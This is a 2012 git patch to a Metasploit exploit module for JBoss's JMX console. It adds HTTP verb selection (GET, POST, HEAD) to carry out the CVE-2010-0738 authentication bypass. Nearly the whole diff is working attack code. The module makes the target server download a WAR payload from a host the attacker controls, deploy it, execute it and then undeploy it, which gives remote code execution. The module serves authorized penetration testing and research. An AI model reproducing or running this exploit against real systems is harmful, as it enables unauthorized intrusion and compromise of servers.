From 8872ea693c903841379f45a46cf0e161954b4913 Mon Sep 17 00:00:00 2001 From: h0ng10 Date: Fri, 3 Aug 2012 14:22:40 -0400 Subject: [PATCH] real support for cve-2010-0738/verb bypass --- .../exploits/multi/http/jboss_maindeployer.rb | 57 ++++++++++--------- 1 file changed, 31 insertions(+), 26 deletions(-) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 6f74dbd2da..88042c0fb2 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote payload. This method will only work if the target server allows outbound connections to us. }, - 'Author' => [ 'jduck', 'Patrick Hof' ], + 'Author' => [ 'jduck', 'Patrick Hof', 'h0ng10'], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => @@ -94,27 +94,32 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]), - OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]), OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]), OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]), + OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']]) + ], self.class) end def auto_target - print_status("Attempting to automatically select a target...") - res = query_serverinfo - if not (plat = detect_platform(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') - end + if datastore['VERB'] == 'HEAD' then + print_status("Sorry, automatic target detection doesn't work wit HEAD requests") + else + print_status("Attempting to automatically select a target...") + res = query_serverinfo + if not (plat = detect_platform(res)) + fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') + end - if not (arch = detect_architecture(res)) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') - end + if not (arch = detect_architecture(res)) + fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') + end - # see if we have a match - targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } + # see if we have a match + targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } + end # no matching target found, use Java as fallback java_targets = targets.select {|t| t.name =~ /^Java/ } @@ -129,11 +134,6 @@ class Metasploit3 < Msf::Exploit::Remote jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) - verb = 'GET' - if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') - verb = 'HEAD' - end - mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target() @@ -178,9 +178,9 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}") - if (verb == "POST") + if (datastore['VERB'] == "POST") res = send_request_cgi({ - 'method' => verb, + 'method' => datastore['VERB'], 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_post' => { @@ -190,10 +190,10 @@ class Metasploit3 < Msf::Exploit::Remote 'argType' => 'java.lang.String', 'arg0' => service_url } - }) + }, 30) else res = send_request_cgi({ - 'method' => verb, + 'method' => datastore['VERB'], 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_get' => { @@ -203,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote 'argType' => 'java.lang.String', 'arg0' => service_url } - }) + }, 20) end if (! res) fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]") @@ -237,8 +237,10 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Executing #{app_base}...") # The payload doesn't like POST requests - tmp_verb = verb - tmp_verb = 'GET' if (verb == 'POST') + # As the war file is not stored inside the jmx-console, we don't have to + # care about the selected http method + tmp_verb = datastore['VERB'] + tmp_verb = 'GET' if tmp_verb == 'POST' # JBoss might need some time for the deployment. Try 5 times at most and # wait 3 seconds inbetween tries @@ -277,7 +279,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("Undeploying #{app_base} ...") res = send_request_cgi({ - 'method' => verb, + 'method' => datastore['VERB'], 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_post' => { @@ -290,8 +292,11 @@ class Metasploit3 < Msf::Exploit::Remote }, 20) if (! res) print_error("WARNING: Undeployment failed on #{app_base} [No Response]") + elsif (res.code == 500 and datastore['VERB'] == 'POST') + # POST requests result in a http 500 error, but the payload is removed..." + print_status("WARNING: Undeployment might have failed (unlikely)") elsif (res.code < 200 or res.code >= 300) - print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]") + print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]") end handler